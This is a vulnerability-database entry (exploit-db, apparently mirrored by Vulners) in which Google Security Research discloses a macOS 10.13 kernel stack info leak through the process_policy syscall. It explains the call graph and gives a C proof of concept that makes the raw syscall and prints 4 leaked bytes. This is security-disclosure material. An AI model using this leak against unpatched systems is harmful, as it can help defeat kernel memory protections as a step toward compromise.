Lucene search
K

macOS - 'process_policy' Stack Leak Through Uninitialized Field

🗓️ 11 Jan 2018 00:00:00Reported by Google Security ResearchType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 24 Views

'macOS process_policy Stack Leak Through Uninitialized Field

Code
/*
The syscall
process_policy(scope=PROC_POLICY_SCOPE_PROCESS, action=PROC_POLICY_ACTION_GET, policy=PROC_POLICY_RESOURCE_USAGE, policy_subtype=PROC_POLICY_RUSAGE_CPU, attrp=<userbuf>, target_pid=0, target_threadid=<ignored>)
causes 4 bytes of uninitialized kernel stack memory to be written to userspace.

The call graph looks as follows:

process_policy
  handle_cpuuse
    proc_get_task_ruse_cpu
      task_get_cpuusage
        [writes scope=1/2/4/0]
        [always returns zero]
      [writes policyp if scope!=0]
      [always returns zero]
    copyout


If task_get_cpuusage() set `*scope=0` because none of the flags
TASK_RUSECPU_FLAGS_PERTHR_LIMIT, TASK_RUSECPU_FLAGS_PROC_LIMIT and TASK_RUSECPU_FLAGS_DEADLINE are set in task->rusage_cpu_flags,
proc_get_task_ruse_cpu() does not write anything into `*policyp`, meaning that `cpuattr.ppattr_cpu_attr` in
handle_cpuuse() remains uninitialized. task_get_cpuusage() and proc_get_task_ruse_cpu() always return zero,
so handle_cpuuse() will copy `cpuattr`, including the unititialized `ppattr_cpu_attr` field, to userspace.


Tested on a Macmini7,1 running macOS 10.13 (17A405), Darwin 17.0.0:

$ cat test.c
*/

#include <stdint.h>
#include <stdio.h>
#include <inttypes.h>

struct proc_policy_cpuusage_attr {
  uint32_t ppattr_cpu_attr;
  uint32_t ppattr_cpu_percentage;
  uint64_t ppattr_cpu_attr_interval;
  uint64_t ppattr_cpu_attr_deadline;
};

void run(void) {
  int retval;
  struct proc_policy_cpuusage_attr attrs = {0,0,0,0};
  asm volatile(
    "mov $0x02000143, %%rax\n\t" // process_policy
    "mov $1, %%rdi\n\t"   // PROC_POLICY_SCOPE_PROCESS
    "mov $11, %%rsi\n\t"  // PROC_POLICY_ACTION_GET
    "mov $4, %%rdx\n\t"   // PROC_POLICY_RESOURCE_USAGE
    "mov $3, %%r10\n\t"   // PROC_POLICY_RUSAGE_CPU
    "mov %[userptr], %%r8\n\t"
    "mov $0, %%r9\n\t"    // PID 0 (self)
    // target_threadid is unused
    "syscall\n\t"
  : //out
    "=a"(retval)
  : //in
    [userptr] "r"(&attrs)
  : //clobber
    "cc", "memory", "rdi", "rsi", "rdx", "r10", "r8", "r9"
  );
  printf("retval = %d\n", retval);
  printf("ppattr_cpu_attr = 0x%"PRIx32"\n", attrs.ppattr_cpu_attr);
  printf("ppattr_cpu_percentage = 0x%"PRIx32"\n", attrs.ppattr_cpu_percentage);
  printf("ppattr_cpu_attr_interval = 0x%"PRIx64"\n", attrs.ppattr_cpu_attr_interval);
  printf("ppattr_cpu_attr_deadline = 0x%"PRIx64"\n", attrs.ppattr_cpu_attr_deadline);
}

int main(void) {
  run();
  return 0;
}

/*
$ gcc -Wall -o test test.c
$ ./test
retval = 0
ppattr_cpu_attr = 0x1a180ccb
ppattr_cpu_percentage = 0x0
ppattr_cpu_attr_interval = 0x0
ppattr_cpu_attr_deadline = 0x0

That looks like the lower half of a pointer or so.
*/

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation